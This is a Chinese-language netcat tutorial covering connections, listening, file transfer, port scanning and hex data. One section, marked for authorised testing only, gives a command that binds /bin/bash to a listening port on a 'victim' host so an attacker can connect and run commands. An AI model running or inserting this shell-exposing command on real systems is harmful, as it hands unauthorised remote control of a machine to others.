netcat(nc)一个功能强大的网络工具
·
netcat(通常简写为 nc)是一个功能强大的网络工具,可用于 TCP/UDP 网络通信、端口扫描、文件传输、端口监听 等。在 Ubuntu 和其他 Linux 系统中,它通常默认安装,如果没有,可以使用以下命令安装:
sudo apt update
sudo apt install netcat-openbsd # 或 netcat-traditional
1. 基本用法
(1) 建立 TCP 连接
nc [选项] <目标IP> <目标端口>
示例(连接 example.com 的 80 端口):
nc example.com 80
然后可以手动输入 HTTP 请求(如 GET / HTTP/1.1)。
(2) 监听端口(TCP 服务器模式)
nc -l -p <端口>
示例(监听 1234 端口):
nc -l -p 1234
客户端可以连接:
nc 127.0.0.1 1234
(3) UDP 模式
加 -u 选项:
nc -u <目标IP> <目标端口> # 发送 UDP 数据
nc -u -l -p <端口> # 监听 UDP 端口
示例(发送 UDP 数据):
echo "Hello UDP" | nc -u 192.168.1.100 1234
2. 发送文件
(1) 发送文件(TCP)
发送端:
nc -l -p 1234 < file.txt # 监听并发送文件
接收端:
nc <发送端IP> 1234 > received_file.txt
(2) 发送整个目录
发送端:
tar -czvf - ./dir/ | nc -l -p 1234
接收端:
nc <发送端IP> 1234 | tar -xzvf -
3. 端口扫描
nc -zv <目标IP> <起始端口>-<结束端口>
示例(扫描 1-100 端口):
nc -zv 192.168.1.1 1-100
-z:只扫描,不发送数据。-v:显示详细信息。
4. 发送十六进制数据
echo -n -e '\x41\x42\x43' | nc <目标IP> <目标端口>
或使用 xxd(推荐):
echo "414243" | xxd -r -p | nc <目标IP> <目标端口>
414243是ABC的十六进制形式。xxd -r -p将十六进制转二进制。
5. 反弹 Shell(网络安全相关)
⚠️ 仅用于合法授权测试!
目标机器(受害者):
nc -lvp 4444 -e /bin/bash
攻击者:
nc <目标IP> 4444
然后可以执行命令(如 ls、whoami)。
6. 其他常用选项
| 选项 | 说明 |
|---|---|
-l |
监听模式(服务器) |
-p |
指定端口 |
-u |
UDP 模式 |
-v |
显示详细信息 |
-w |
超时时间(秒) |
-n |
禁用 DNS 解析(加快速度) |
-k |
保持监听(允许多个连接) |
总结
- 基本连接:
nc <IP> <端口> - 监听端口:
nc -l -p <端口> - UDP 模式:
nc -u <IP> <端口> - 文件传输:
nc -l -p 1234 < file.txt(发送端),nc <IP> 1234 > file.txt(接收端) - 端口扫描:
nc -zv <IP> 1-100 - 十六进制数据:
echo "414243" | xxd -r -p | nc <IP> <端口>
netcat 是网络调试的瑞士军刀,适用于各种场景!🚀
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)